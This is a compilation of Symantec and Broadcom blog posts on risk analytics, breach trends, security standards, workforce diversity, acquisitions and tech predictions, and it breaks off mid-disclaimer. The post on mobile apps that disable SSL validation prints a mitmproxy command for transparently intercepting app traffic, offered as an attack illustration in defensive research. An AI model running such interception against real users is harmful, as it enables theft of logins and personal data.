Risk analytics help organizations quickly identify, prioritize and remediate risk by looking at risk in several different ways. It enables organizations to quantify the risk possibility of everyone in their organizations, scoring them by their risk potential and their normal workplace behaviors. By doing risk analytics, not only can organizations determine the chance of a data loss incident from a malicious insider but pinpoint exactly who that person could be.
As so many organizations moved to working remotely due to the pandemic, never has the need for organizations to understand their risk been more important. Employees at every level are now working from home on an unmanaged device. That’s a risk. They are logging in from who knows where and an unknown network. That’s a risk. They are working at any hour. That’s another risk.
Risk analytics platforms like Symantec ICA give them the help they need by boiling down the ocean so that they can deal with what they need to deal with first, fast, and effectively in order to put the odds in their favor.
All of these actions exponentially raise the risk for every organization, but they also tell a story risk analytics can weave together. The individual segments of that story may not mean anything by themselves. After all, everyone is basically working remotely from somewhere. But if that employee is supposed to be in California and logs in from a location overseas just minutes later, risk analytics will immediately flag it for your SOC for further action.
Cyber security professionals are drowning in an ocean of data. Risk analytics platforms like Symantec ICA give them the help they need by boiling down the ocean so that they can deal with what they need to deal with first, fast, and effectively in order to put the odds in their favor.
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Bold Solutions Agencies Need to Fight Cyber Attack
Symantec Government Symposium
Complex challenges require bold solutions.
As we previously discussed, the federal cyber security community must combat a wide-range of cyber threats that continue to evolve and change. Cyber security does not mean just stopping one type of attack, but all of them. That is easier said than done and shows the challenge government agencies face on a daily basis.
At the Symantec Government Symposium on December 5 at the Renaissance Hotel in Washington D.C., leaders from government, industry and academia will discuss the bold solutions government must consider to stay ahead of the cyber challenge. This symposium will serve as a forum for stakeholders to discuss the solutions they currently use, learn what other agencies have done and see what innovative solutions industry continues to develop.
Everything-as-a-Service
The second of the event’s four tracks will directly address bold solutions in government.
The first panel of this track brings together leaders to discuss the roll of shared cyber security services. The White House has pushed agencies to consider a significant increase in shared IT services in an effort to reduce cost, improve efficiency and manage overall risk.
This includes shared cyber security services that multiple agencies can leverage. As the government moves toward a service-heavy model there will be lots of questions for these technology leaders to answer. For example, who ultimately owns the service? Who is in charge of running them? Who will fund them? Our panel will answer these questions and more.
Scheduled to speak are:
Rod Turk, Acting Chief Information Officer and Chief Information Security Officer, Department of Commerce
Gregory Touhill, President, Cyxtera Federal Group
Sean Kelley, Senior Director, Defense Health, Leidos
Rob Walters, Vice President, Engineering Cyber Security Services, Symantec (Moderator)
Making Smart Investments
Justifying cyber security investments can be difficult for agency IT and security professionals. Agency leadership does not always understand the constant investment that cyber security needs to be effective. In the second panel of our bold solutions track, experts will discuss how to make the right investments in cyber security to meet a myriad of mandates and compliance requirements. The goal is to help agencies identify their biggest risks and how they can get smarter about where to apply cyber investments.
Scheduled to speak are:
Derek Larson, Deputy Director for Cybersecurity Performance, Office of Management and Budget
George Jakabcin, Chief Information Officer, Treasury Inspector General for Tax Administration
Vance Hitch, Senior Advisor, Deloitte Consulting
George Teas, Director, Federal Systems Engineering, Symantec
This is just a snapshot of the high-quality content and education offered at this year’s Symantec Government Symposium. If you are interested in attending the event, please register.
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Breach Outlook for 2019: Winter is Coming
Even by conservative measures, 2018 was a record year for security breaches. Here’s why the numbers are likely going to continue to increase
When the conversation gets around to the topic of cyber security, the narrative increasingly resembles the script of Groundhog Day, a movie where the main character remains stuck in the present.
Last year marked a continuation in the number attacks aimed at stealing information – whether for financial gain or on behalf of state actors. And there’s little indication that trend of accelerated threat activity will pause or reverse in 2019.
"If we have not hit the maximum pain point already, I'm not sure what it is going to take for us as a culture to say, enough is enough, and demand security and safety over convenience," said Eva Velasquez, president and CEO of the Identity Theft Resource Center.
One problem is that the tally of breaches tends to be subjective. Take a widely-reported cyber breach, such as the attack against the Office of Personnel Management in June 2015, which exposed sensitive background checks into federal employees and contractors. Those incidents get lumped in with massive, but limited, exposures of information. But to be clear, a record from one breach is not generally equal in value to a record from another breach.
With the number of records exposed each year on the increase, there’s more pressure from both customers and regulators for organizations to find better ways to limit the risk of data loss.
Still, the number of records exposed in 2018 almost certainly surpassed that registered in 2017, even when you remove the outliers. For example, a breach that impacted 3 billion Yahoo accounts comprised the lion's share of compromised records chronicled in 2017. The actual breach occurred in 2013.
So with the number of records exposed each year on the increase, there’s more pressure from both customers and regulators for organizations to find better ways to limit the risk of data loss. The task has taken on added urgency because companies now collect an ever-widening amount – and variety - of information.
In the not-too-distant past, breaches used to be limited to names, e-mail addresses, passwords and credit-card accounts. But increasingly, medical records, DNA information, biometrics and demographic profiles are also at risk. Attackers who find ways to access that kind of valuable personal information are then able to compromise a person’s identity and inflict major damage. Although prices vary, this sort of information also offers a bigger potential payday on the black market than, say, stolen credit card numbers, which might go for a few quarters or dollars. Over the last 7 years, the number of annual health data breaches increased 70%, according to the Journal of the American Medical Association , with 75% of the breached, lost, or stolen records – 132 million – being breached by a “hacking or IT incident.
None of this exactly qualifies as a surprise. In a new survey conducted by the Conference Board, US CEOs listed cyber security as their top external concern for 2019. Yet, security measures are not keeping up.
Time to Plan is Now
Part of the problem is that users still want to make access to their accounts as easy as possible, according to Valesquez.
"When it's not difficult for us to access our accounts, it's not difficult for the thieves either," she said. "We need to demand (providers) jump through more hoops, but most people don't want that—it is an extremely difficult culture shift."
The Identity Theft Resource Center believes that 2019 represents a crucial year for breaches and identity theft. More consumers are wary of the dangers posed by their information being too accessible. That’s going to lead to more demands that organizations be clearer about how they use information as well as be more forthcoming about the kind of data put at risk when a breach occurs.
At the same time, regulations such as the European Union's General Data Protection Regulations (GDPR), which requires more strict handling and protection of data, could convince those companies holding customer data to take more care with the information. Also, Canada has already enforced GDPR-like legislation, and Brazil recently passed new privacy legislation similar to GDPR, due to enter into force in 2020.
In the US, California recently passed a sweeping data digital privacy law regulating the data-collection practices of technology companies. The legislation, which goes into effect in January 2020, is also viewed as a potential harbinger for other states weighing how best to protect their residents’ data.
But as Giampiero Nanni, Symantec’s government affairs head for its EMEA region noted, GDPR is based on outcomes. It doesn’t instruct companies on how to achieve cyber security.
Regulations such as the European Union's General Data Protection Regulations (GDPR), which requires more strict handling and protection of data, could convince those companies holding customer data to take more care with the information.
That puts the onus on enterprises to pull together the integuments of a detailed plan in advance of any attacks so that the breach notification process won’t be dependent on improvisation. That way, all of the affected stakeholders will know how to respond based on the nature of the intrusion.
“A situation that will by definition cause distress, if not panic, in the organization, does not need additional aggravation due to lack of direction and planning,” according to Nanni.
It’s a timely warning. Symantec CTO Hugh Thompson and Steve Trilling, the company's general manager of security analytics and research, recently teamed up to offer their take on the threat landscape in 2019. Among their conclusions:
Attackers are gearing up to exploit Artificial Intelligence-based systems and use AI to aid their assaults.
Growing 5G deployment and adoption will begin this year in earnest; while that's expected to be a boon to consumers who benefit from faster connectivity, it's also expected expand the attack surface area.
The continuing proliferation of poorly-secured devices belonging to the Internet of Things may invite even more powerful botnet-powered attacks than in years past.
Attackers don't need to get particularly fancy either. They can simply try to exploit home-based Wi-Fi routers and other poorly secured consumer IoT devices in new ways to steal the data passing through them. These data-in-transit compromises are also likely to hit enterprises as they provide unique visibility into a victim’s operations and infrastructure.
Jon Snow of Game of Thrones fame has to worry about winter’s imminent arrival. It may not be as grim an outlook for the rest of us. But make no mistakes: More breaches are in store - so start preparing now.
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Breaking Down Security Silos with Standards and Coalitions
The absence of interoperability has put the burden on CISOs to integrate disparate tools and solutions. Help may be on the way
Ask any chief security officer which is more difficult: Defending against cyber attacks or getting all of the elements of his or her organization’s security systems and tools to work well together? This isn’t really a fair question, of course, because achieving the cyber defense goal ultimately depends on first addressing the component integration challenge.
And as any CSO will tell you, achieving security component integration and optimization can be a devilishly difficult undertaking.
Many mid-to-large-sized organizations have amassed a collection of cyber security tools over the years, often in a disjointed, uncoordinated fashion. The resulting security infrastructures may even include many best-of-breed tools, but they often reside in operational silos that don’t communicate easily, if at all, with one another.
The inability of security tools and solutions from different vendors to play well together has many negative consequences. At a minimum, getting the disparate components to share threat information and team up in other ways means overburdened security professionals must do much integration and analysis manually. These tasks can cause the security team to become focused on security “trees” rather than the overall “forest” threat environment. Worst case, the gaps between security silos can result in open vulnerabilities that bad actors are ready and willing to exploit.
Meeting the Challenge
Broadly speaking, there are two interdependent ways to address the security interoperability problem.
First, following in the steps of other IT-related disciplines ranging from data storage to web services to networking, security vendors and their customers must agree upon and implement a comprehensive set of security standards.
Second, the tools vendors and service providers must put their competitions aside in some instances, not only to collectively embrace common standards but to collaborate and share information with one another to achieve the greater good of more universal and robust cyber security.
What’s obvious in theory, of course, is far from simple in practice. Consider that there are three types of entities involved in developing and/or promoting cyber security standards: 1) formal standards bodies such the Organization for the Advancement of Structured Information Standards (OASIS) and the International Standards Organization (ISO); 2) Federal agencies and departments such as the National Institute of Standards (NIST) and the Department of Homeland Security (DHS); and 3) individual security vendors or, preferably, coalitions of multiple security vendors.
As these and other security standards initiatives progress, security solution vendors have been gradually coming to terms with their own need to sometimes put down their swords and act as “frenemies.”
Across all of these standards players – which sometimes collaborate and sometimes compete – there are dozens of existing, in-development, or proposed standards in the security interoperability space alone. Still, a few key standards have gained significant traction, including:
Structured Threat Information eXpression (STIX), Trusted Automated eXchange of Indicator Information (TAXII), and Cyber Observable eXpression (CybOX). Collectively these three OASIS-driven standards are designed give tools a common language and common mechanisms to describe and share cyber threat information.
Open Command and Control (OpenC2). Another OASIS standard, OpenC2, aims to provide a standard way to respond to suspicious activity seen at endpoint devices and other systems.
As these and other security standards initiatives progress, security solution vendors have been gradually coming to terms with their own need to sometimes put down their swords and act as “frenemies.”
“Threat information sharing has been a challenge, since we and other vendors of intelligence products don’t want to give up our intellectual property,” acknowledges Aubrey Merchant-Dest, Federal Chief Technology Officer at Symantec. “That said, we all want to make our customers, our country, and other countries around the globe more secure.”
With cyber attack volumes and sophistication both increasing rapidly, security providers have been taking steps along a tightrope balanced between threat information sharing on one side and the indiscriminate divulging of proprietary IP on the other. One of the most successful efforts in this regard has been the Cyber Threat Alliance, launched by six leading security vendors, including Symantec, in 2014.
The alliance’s members, now numbering 16, have agreed to share cyber threat information with each other so that all member organizations can improve their respective security solutions and their customers’ defenses. Beyond sharing threat information, the Cyber Threat Alliance members are also collaborating on research into identifying and countering specific threats.
Still, given the fluid and unsettled state of many cyber security standards, it can be difficult for companies to determine what to look for when purchasing security tools and services. As is the case in other standards areas, the most certain course of action is to buy comprehensive solutions from a single vendor who can assure that all of the elements work well together.
That said, it simply isn’t practical or possible to sole-source security solutions that address every security need, meaning that organizations must do their best to stay abreast of key security standards activity and adoption. Meanwhile, and somewhat ironically, one of the safest courses of action isn’t directly tied to any specific standard or combination of such standards.
“The number one thing I’d do from square one when purchasing security solutions is to ensure that everything I buy has a standard set of APIs built into the products,” says Merchant-Dest. He notes that many vendors, Symantec included, are adopting representational state transfer (REST) as a preferred architectural style and API mechanism. “Once you have that standard API foundation, you can then look for a product’s adoption of more-targeted security standards,” he advises.
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Breaking SSL Locks: App Developers Behaving Badly
Summary: Symantec analyzed five years’ worth of Android and iOS apps to see how many are sending data securely.
Have you seen that little lock in your web browser that indicates the site you’re visiting is secure? Where is that little lock displayed when you’re using a mobile app?
Figure 1. Lock icon and connection security information displayed in web browser
The padlock icon indicates a secure communication channel between the browser and the server. When the lock is closed and green, the connection is encrypted using HTTPS and an SSL certificate signed by a trusted authority. Your private data, from the browser to the server, is secure. When the lock is broken, the communication channel is broken, insecure, and cannot be trusted. Any data sent to the server is easily visible, can be intercepted, and even compromised by an attacker.
Often mobile apps use the same HTTPS communication channels to back-end services as the web browser. That may make you wonder, where is the little lock being shown? How do you know your private data is being sent securely?
The short answer is you don't, and worse, your data is often not being sent securely - often to the same services you access in your web browser.
We took a look across hundreds of thousands of mobile apps in public app stores and found that those that were breaking the lock were usually doing so intentionally. In addition, users are often none the wiser when it comes to this developer activity.
Highlights:
In total, 7% of iOS and 3.4% of Android mobile apps intentionally break the lock, actively transferring data to insecure network servers and disabling SSL validation
Over the past five years, vulnerable iOS apps have not improved, with 2020 containing the highest amount of vulnerable apps (7.6%)
However, Android apps have been improving year over year, down to 2.4% from close to 5% in 2017
Vulnerable apps were found across all categories, with "Games" at the top, followed closely by "Financial" apps
94% of the vulnerable iOS apps disable Apple's App Transport Security (ATS) restrictions for all network connections
Research methodology
From the millions of mobile apps we've analyzed from public app stores, we focused on the apps released over the past five years from the Apple App Store and Google Play Store. Among the many risky behaviors we currently identify, apps breaking the lock and sending potentially private data via insecure SSL connections that disable validation is one of them. We also looked at the prevalence of app developers disabling the privacy features for apps, including ATS for iOS.
The data set includes iOS apps released on the Apple App Store and Android apps from the Google Play Store from 2017 to 2021.
Trends
The past five years have shown no significant changes with the number of iOS apps breaking the locks. Apart from a slight dip in 2018, the amount has consistently been over 7%.
Android, on the other hand, has shown a positive downtrend over the years. While there were just under 5% of Android apps breaking the locks in 2017, the amount has more than halved and is currently 2.4%.
Table 1.Number of Android and iOS apps breaking the lock – 2017 to 2021
Year iOS Android iOS total Android total iOS vulnerable Android vulnerable
2021 7.29% 2.40% 123,260 99,170 8,980 2,376
2020 7.61% 2.85% 593,208 776,058 45,158 22,135
2019 7.18% 3.21% 859,817 648,228 61,759 20,821
2018 5.67% 4.51% 459,041 239,460 26,050 10,809
2017 7.20% 4.90% 393,820 249,640 28,373 12,243
Total 7.01% 3.40% 2,429,146 2,012,556 170,320 68,384
Discoveries
We found that categories of apps transferring data insecurely spanned most categories, with games coming out on top, followed by financial apps. Games are not a surprise, often transferring large amounts of public media content and data. Financial apps, on the other hand, often contain financial data and personally identifiable information (PII), which is a cause for concern.
Figure 2. Categories of apps transferring data insecurely since 2019
Threat vectors
As clearly stated by Google:
Many web sites describe a poor alternative solution which is to install a TrustManager that does nothing. If you do this you might as well not be encrypting your communication, because anyone can attack your users at a public Wi-Fi hotspot by using DNS tricks to send your users' traffic through a proxy of their own that pretends to be your server. The attacker can then record passwords and other personal data. This works because the attacker can generate a certificate and—without a TrustManager that actually validates that the certificate comes from a trusted source—your app could be talking to anyone. So don't do this, not even temporarily. You can always make your app trust the issuer of the server's certificate, so just do it.
In addition, an attacker can easily identify all mobile device targets on a network, and choose to intercept the SSL traffic sent to servers they know apps are disabling SSL validation for. There is no longer a need to trick users into installing malicious user certificates and profiles that tend to trigger detection or alert victims that they are actively under a man-in-the-middle (MitM) attack. This can now be done with readily available MitM tools, for example, using the mitmproxy tool:
mitmproxy --mode transparent --listen-port 8080 --ignore-hosts '^(?![0-9\.]+:)(?!([^\.:]+\.)vuln_server:)'
Apple App Store vetting efficiency
Apple introduced a network security feature, App Transport Security (ATS), with the release of iOS 9.0. By default, ATS checks insecure connections where the lock is broken, printing the denied connections in the console, largely hidden from most users, as viewing the console requires developer tools and setup to view.
What many users don’t know is that Apple allows app developers to disable this security feature entirely, thereby breaking the lock. App developers have the option of disabling ATS restrictions for all, or some, servers, or specific types of data content. This may trigger additional App Store vetting, and the vetting process will determine if the app developer’s reasoning is justified. App users are largely unaware of this process and the fact that once the app developer is allowed to use insecure channels, they can add any data they choose, including private, to the data being sent.
Figure 3. App Transport Security configuration settings
It came as no surprise that apps transferring data insecurely also had ATS disabled by the developer:
94% of the apps set "Allow Arbitrary Loads" to "YES", disabling ATS restrictions for all network connections
2% of the apps set "Allow Arbitrary Loads" to "YES", disabling ATS restrictions for all media or web content
4% of the apps specified the servers in the ATS exception list for disabling ATS restrictions
ATS is effective, if it's enabled. When it isn't enabled, as we have shown, your private data and sensitive information is at risk.
Google Play
Android enforces transport layer security with a feature similar to Apple’s, named "Network Security Config''. App developers specify the policies in the application manifest file. More information on this can be found here.
Case study - Financial app
A large financial service’s iOS app was found to be breaking the lock, and worse, this was occurring when the user was logging into the service with their credentials. We sent disclosures to the service and the issue was fixed in subsequent versions of the app.
As expected, ATS was disabled for the insecure SSL login server. Interestingly, and something we often see, the class and method names written by the developer signposted the obvious breaking of the lock. In this case, the method was named "allowsAnyHTTPSCertificateForHost".
Figure 4. ATS exception to the SSL login server set by the app developer
Figure 5. Class and method allowing any HTTPS certificate used by the SSL login server
Figure 6. Network data containing login and password sent insecurely to the SSL login server
How best to avoid "breaking the lock" as an app developer
The onus is on app developers to address this issue. Unfortunately, if developers are intentionally choosing to break the lock, in most cases, there is nothing that can be done. However, for the more conscientious developers, the following best practices can help to keep those locks firmly in place.
Developers should avoid using the SSL socket directly to avoid the pitfalls of using secure network protocols. If this is unavoidable, follow security best practices and make sure you avoid common pitfalls, such as empty trust managers, that break the lock and potentially expose the data sent from your app. Google publishes a helpful page of best practices and guidance on this topic.
Developers can also rely on tools to confirm their apps are safe against known TLS/SSL vulnerabilities and misconfigurations as part of their application Software Development Life Cycle (SLDC).
Developers should strongly consider hiring an app security expert to validate and verify that data is protected. This is especially important in cases where developers do follow security best practices only to have resources outside their control – often from Dev-Ops and IT – fail to protect their users' data.
For enterprises, Symantec Endpoint Security (SES) protects corporate mobile devices from exploitation of vulnerabilities occurring as a result of app developer oversights. Enterprises should look to implement Mobile Threat Defense to ensure their devices are protected. Symantec offers Mobile Threat Defense as an integral part of SES. SES can detect issues within the app itself – for example, private data sent insecurely – as well as protect mobile devices from other network, operating system, and app-level threats.
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Breaking the Security Glass Ceiling
Women have shied away from cyber security roles because they don’t see others like them along with issues related to unconscious bias and the gender pay gap. Here’s how some are working to change that
A figure crouches over a laptop, furiously trying to crack the code to break into a critical system. While certainly a stereotype, it’s a narrative that many equate with cyber security. While the persona may lure young men into the profession, it’s a huge turn off for women, experts say, exacerbating a talent crunch when cyber security expertise is in peak demand.
“The way Hollywood movies and the media portray cyber security, it’s a bunch of dudes wearing hoodies, eating pizza, and hacking into stuff,” says Ambareen Siraj, a computer science professor and director of the cyber security program, at Tennessee Tech University. “Society in general is not informed about what a career in cyber security means.”
That misperception is a problem, Siraj contends, because there’s a huge gap in talent—right now, in the United States alone, there are about 285,000 cyber security jobs that sit empty because people lack the requisite skill sets. According to (ISC)², a cyber security and IT security professional organization, there will be a projected shortage of 1.8 million information security workers by 2022, an increase of 20% from the 1.5 million worker gap forecast in the 2015 report. To compound the problem, women comprise a small fraction of the overall cyber security workforce—approximately 11% based on Frost & Sullivan’s 2017 Global Information Security Workforce Study, making it substantially harder to recruit female talent to help fill the pipeline.
“We need more people regardless of color, shape, sex or size, Siraj says. “Cyber security is a field where problems are very unique and challenging so you need people with different backgrounds and skills to consider things from different perspectives.”
Siraj, who has taught cyber security at the university for years, was alarmed when she continuously found herself the only woman in her classes. Concern about the lack of women prompted Siraj to apply for National Science Foundation (NSF) grant to start a program to broaden female participation in the cyber security field and to promote that area of education. Her efforts were the genesis for Women in Cyber Security (WiCyS), a non-profit organization and annual conference charged with introducing students (from college freshmen to PhD candidates) to the field while providing a community of peers for academics and industry professionals.
The model for the conference mandates that at least half of attendees are students and participation is low cost and oftentimes, free for students. The first conference kicked off in 2013 with 100 people; this year’s event registered more than 1,200 women attendees, Siraj says.
“It provides a way to bring academia, industry, and government under one roof to show women in cyber security there are others like you,” she explains. “We provide access to role models, mentors, opportunities, and resources.”
Increasing awareness, expanding mentorship opportunities, and creating women-oriented communities are crucial to amping up female representation in the field. Like other technology-related industries, women have shied away from cyber security roles because they don’t see others like them and are concerned about issues related to unconscious bias and the gender pay gap. Their concerns are well founded: The Frost & Sullivan Global Information Security Workforce Study found women were more likely to feel their opinions weren’t valued (28%), were paid on average 3% less than men in equivalent roles, and were more likely to encounter some form of discrimination, including something that unexpectedly delayed or denied career advancement (53%).
Lisa Jiggets, a long-time cyber security professional who began her career in the military, says there’s a real need for women-focused organizations where members can network and share experiences in a forum that feels comfortable. Jiggets knows of what she speaks: After leaving the military for an IT security role, she got involved in a hacker group to hone her security skills only to drop out because she didn’t feel like she belonged.
Fresh off that experience, Jiggets founded the Women’s Society of Cyber Jutsu, another non-profit seeking to empower women in the field. The group hosts meet ups and sponsors training, workshops, and general events to increase exposure of cyber security to women. Currently, there are 1,500 chapters around the country along with partnerships with industry organizations and businesses to raise awareness.
Cyber security is a field where problems are very unique and challenging so you need people with different backgrounds and skills to consider things from different perspectives
“We wanted to get like-minded women together so we could geek out and do our stuff in a more friendly environment,” she explains.
SANS Institute, a information security training provider and partner with Jigget’s group, is also invested in changing the dynamic. Since the typical feeders for cyber security posts are the military and gaming community—both heavily male dominated—the institute launched the Cyber Talent Immersion Academy for Women, an intensive, accelerated cyber security training and certification program that is 100% covered by scholarship for qualified candidates. Those accepted into the program are typically seniors in college pursuing a computer science or technical STEM degree or are graduates currently not working in the field, but who are looking to break in.
“We want to help people with passion find a pathway into the cyber security workforce,” says Max Shuftan, cyber talent program director at SAN Institute. “The ultimate goal is to provide the training and skills to help achieve industry recognized certifications and be deployed in the workforce.”
If you found this information useful, you may also enjoy:
Frost & Sullivan’s 2017 Global Information Security Workforce Study
Women in Tech
Woman in Cyber Security
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Broadcom & Symantec Enterprise: It’s All About the Portfolio
And investing for the future
A prominent microchip manufacturer makes a strategic entry into the cyber security market by acquiring a suite of security software solutions.
Described like that, Broadcom Inc.’s recent $10.7 billion acquisition of Symantec’s Enterprise Security business might sound like a combination that’s been done before. In fact, it’s not.
Rather than a match designed to tap into perceived solution-set synergies, Broadcom and Symantec have come together for the purpose of creating sales synergies and providing a better experience for customers.
Coupled with its acquisition of CA Technologies in 2018 and Brocade in 2017, Broadcom now has an increasingly large and diversified portfolio of infrastructure, cyber security, and enterprise software that can be served up to a common set of customers in a way that’s more accessible and cost effective than dealing with myriad independent vendors and software silos.
At the crux of the Broadcom-Symantec value proposition is a new subscription-based model for purchasing enterprise software: Portfolio Licensing Agreements (PLAs).
Regardless of whether software is deployed in the cloud or on-premises, the world is shifting to a subscription economy.
At the crux of the Broadcom-Symantec value proposition is a new subscription-based model for purchasing enterprise software: Portfolio Licensing Agreements (PLAs).
Under the Broadcom PLA model, customers are presented with an easier way to access the company’s full-stack of software technologies, considered to be among the best-in-class in their respective categories. As part of a single bundled licensing agreement, customers can pick and choose whatever software platforms meet their needs. In this way, they can realize lower and more predictable annual costs while also gaining increased flexibility to experiment with new technologies and platforms with virtually no financial risk. Additional upsides to PLAs: They simplify the maintenance, upgrade, and renewal process and reduce friction in vendor and contract management.
The Broadcom PLA makes it easy to consume products and services, including through flexible access to a suite of offerings via an enterprise app store and a cost structure that rivals most cloud models. Broadcom also provides strategic customers a concierge approach that dedicates specific customer success managers to help them maximize their software investments.
With a Broadcom PLA, customers have even greater flexibility in how they license Symantec products. Symantec’s marquee offering—Integrated Cyber Defense (ICD)—is a best-in-class security platform that addresses endpoint security, web & email security, information security, including Data Loss Prevention (DLP), and identity security such as Identity and Access Management (IAM) and privileged access management solutions. Customers can opt for either a full PLA, which delivers access to the complete range of security solutions so they can adopt any technology at their own pace, or Segment PLAs, which let customers access solutions targeted to specific attack vectors, paying for additional offerings as they opt to expand.
Moreover, Broadcom is known for an operating model that drives efficiency, simplicity, and fast decision-making, while investing in development of its core franchises.
Beyond the software licensing flexibility, Broadcom’s acquisition of Symantec’s Enterprise business addresses customer needs in other ways. For example, Broadcom encourages direct sales to those among its very largest enterprise customers who prefer to avoid a layered sales cycle, while continuing to strategically partner with resellers and distributors who add value for so many of our customers.
Moreover, Broadcom is known for an operating model that drives efficiency, simplicity, and fast decision-making, while investing in development of its core franchises. For example, the company spends about $4.7 billion on R&D annually. Those sorts of investments will help the Symantec ICD platform and solutions remain innovative by allowing the company to pursue R&D priorities driven by customer outcomes.
There is no tried-and-true formula for a successful high-tech partnership, but with its focus on catering to customer needs and simplifying the sales process, the unified Broadcom-Symantec strategy shows a whole lot of promise.
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Broadcom: 2023 Tech Trends That Transform IT
Accelerating the world into a digital future
At Broadcom, we see challenges companies face first-hand, and in turn how technology trends impact the world’s largest companies. As the end of 2022 approaches, we're sharing the top 5 predictions that you should be planning for in 2023.
Stay tuned for future blogs that dive into the technology behind these predictions from Broadcom’s industry-leading experts:
1. AI and Automation Will Play an Even More Expanded Role in Technology
Whether in chips, software, or services, Broadcom believes artificial intelligence and automation go hand-in-hand in driving operational efficiencies, adaptive processes, higher performance and stronger security. Enabling AI becomes even more crucial across the entire IT stack.
AI-powered features are finding their way into every layer of technology that organizations use. According to one leading analyst firm, flexibility and adaptability are now the rules of the game — many businesses have learned this the hard way during the COVID pandemic. For many organizations, these changes demand “resilience-by-design” and “adaptive-by-definition.”
2. User Experiences Become Critical in a Hyper-Connected, Intelligent World
Broadcom believes people will have higher expectations for exceptional digital experiences across a wide range of devices and applications into 2023 and beyond. As our world becomes more inter-connected and based in artificial intelligence, user experience becomes even more critical to drive customer and employee satisfaction and retention. Employees expect consumer-friendly interfaces and continuous uptime even as they use business critical applications. Consumers have high expectations for digital experiences in online banking, email, cloud storage, video on demand (VoD), smart digital assistants, and virtual reality.
3. Trust Management Becomes Critical for Cybersecurity
Broadcom believes a move to distributed and decentralized trust will increase rapidly in 2023. This decentralization leads to new ways of transacting, communicating, and doing business—and not just for humans. Different applications have different access-granting or -restricting policies. The criteria on which a decision is based may differ greatly among different applications (or even between different instances of the same application).
What will be common among them will be the need to grant or restrict access to resources according to security criteria. A shift in managing trust will need to happen so that the security mechanism can handle those different criteria. With distributed trust, risk will need to be managed more closely across every aspect of business. And security around trust must be customized to the business. This will require artificial intelligence that enables security to rapidly adapt to each customer's environment.
4. Multi-Cloud Will Help Deliver Stronger Business Value
Broadcom believes large global organizations will continue the transition to customizing their cloud infrastructure to better fit their particular business into the new year. The cloud conversation is shifting from a technology discussion to a business- and even industry-model discussion. Vertical industries, such as banking, healthcare, and manufacturing, are shifting toward an agile platform supported by a portfolio of industry-specific business capabilities directly relevant for their specific industry. These industry clouds offer more adaptability, more business functionality, and more innovation.
Multi-cloud is the future of enterprise IT. A multi-cloud approach enables the flexibility to manage and protect data across different environments – private, public, or sovereign – at will. And when integrated with sovereign cloud, multi-cloud enables customers to deliver differentiated services at scale while remaining secure and in compliance with regulatory frameworks. Maintaining this choice, control, and agility is both crucial for growth and a daunting task for enterprises globally.
5. Wireless Broadband Will Connect our Digital Future
Broadcom believes innovation in wireless broadband infrastructure will deliver more inventive applications in 2023. This next-generation wireless broadband, with its high speed and low latency capabilities, will power the internet at the edge to deliver immersive Augmented Reality and Virtual Reality, whole-home video distribution, gaming, and telemedicine to name just a few. Wi-Fi 6E and Wi-Fi 7, using the 6 GHz band, will complement the multi-gigabit “10G” broadband coming into residences and enterprises to enable new experiences that extend beyond traditional communications.
Watch for our 2023 Predictions blog series featuring some of the most brilliant minds in the industry. And to stay up to date on all of the latest new and emerging technology from Broadcom, make sure to:
Read our Broadcom blog
Read our Broadcom Software blog
Follow us on Broadcom Twitter & LinkedIn
Follow us on Broadcom Software Twitter & LinkedIn
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Broadcom and Deutsche Telekom: Discussing a Multi-Cloud Future at DIGITAL X 2022
Technology for large-scale enterprises
Yesterday I had the pleasure of presenting at the DIGITAL X 2022 Conference, hosted by Deutsche Telekom in Cologne, Germany. This year’s event focused on the megatrends and innovations of the future, and I participated in a fireside chat moderated by Adel Al-Saleh, Member of the Deutsche Telekom AG Board of Management and CEO of T-Systems, titled, “Enabling Enterprises to Accelerate Innovation in the Multi-Cloud Era”. Given Broadcom’s pending acquisition of VMware, we discussed the existing partnership between Deutsche Telekom and VMware, and the value for Deutsche Telekom in having a multi-cloud solution.
The Future of Multi-Cloud
Already, VMware has created technology for large-scale enterprises to build their own cloud environments and extend the benefits of cloud experiences with higher velocity and efficiency to a private cloud on-premises. VMware has also been able to create a platform that can manage modern workloads on clusters of Kubernetes. Through that and the VMware Cloud, or VMC, platform, they’ve enabled apps and workloads running on private clouds to migrate seamlessly and securely to any private or public cloud and back again. This gives customers choices and capabilities as governments look to sovereign cloud and data privacy, security, and localization policies to protect their citizens and businesses, to ensure that their markets become a stronger part of the digital supply chain.
Broadcom’s Pending Acquisition of VMware
Following the close of the transaction, solutions from the combined Broadcom and VMware organizations will help customers maintain choice and increase flexibility to address their most complex IT infrastructure challenges. The combined Broadcom and VMware will give enterprises more power to modernize their IT infrastructure. Together, we will accelerate VMware’s growth and momentum in the multi-cloud ecosystem.
To stay updated on the transaction, click here.
Cautionary Statement Regarding Forward-Looking Statements
This communication relates to a proposed business combination transaction between Broadcom Inc. (“Broadcom”) and VMware, Inc. (“VMware”). This communication includes forward-looking statements within the meaning of Section 21E of the U.S. Securities Exchange Act of 1934, as amended, and Section 27A of the U.S. Securities Act of 1933, as amended. These forward-looking statements include but are not limited to statements that relate to the expected future business and financial performance, the anticipated benefits of the proposed transaction, the anticipated impact of the proposed transaction on the combined business, the expected amount and timing of the synergies from the proposed transaction, and the anticipated closing date of the proposed transaction. These forward-looking statements are identified by words such as “will,” “expect,” “believe,” “anticipate,” “estimate,” “should,” “intend,” “plan,” “potential,” “predict,” “project,” “aim,” and similar words or phrases. These forward-looking statements are based on current expectations and beliefs of Broadcom management and current market trends and conditions.
These forward-looking statements involve risks and uncertainties that are outside Broadcom’s control and may cause actual results to differ materially from those contained in forward-looking statements, including but not limited to: the effect of the proposed transaction on our ability to maintain relationships with customers, suppliers and other business partners or operating results and business; the ability to implement plans, achieve forecasts and meet other expectations with respect to the business after the completion of the proposed transaction and realize expected synergies; business disruption following the proposed transaction; difficulties in retaining and hiring key personnel and employees due to the proposed transaction and business combination; the diversion of management time on transaction-related issues; the satisfaction of the conditions precedent to consummation of the proposed transaction, including the ability to secure regulatory approvals on the terms expected, at all or in a timely manner; significant indebtedness, including indebtedness incurred in connection with the proposed transaction, and the need to generate sufficient cash flows to service and repay such debt; the disruption of current plans and operations; the outcome of legal proceedings related to the transaction; the ability to consummate the proposed transaction on a timely basis or at all; the ability to successfully integrate VMware’s operations; the impact of public health crises, such as pandemics (including COVID-19) and epidemics and any related company or government policies and actions to protect the health and safety of individuals or government policies or actions to maintain the functioning of national or global economies and markets; cyber-attacks, information security and data privacy; global political and economic conditions, including rising interest rates, the impact of inflation and challenges in manufacturing and the global supply chain; and events and trends on a national, regional and global scale, including the cyclicality in the semiconductor industry and other target markets and those of a political, 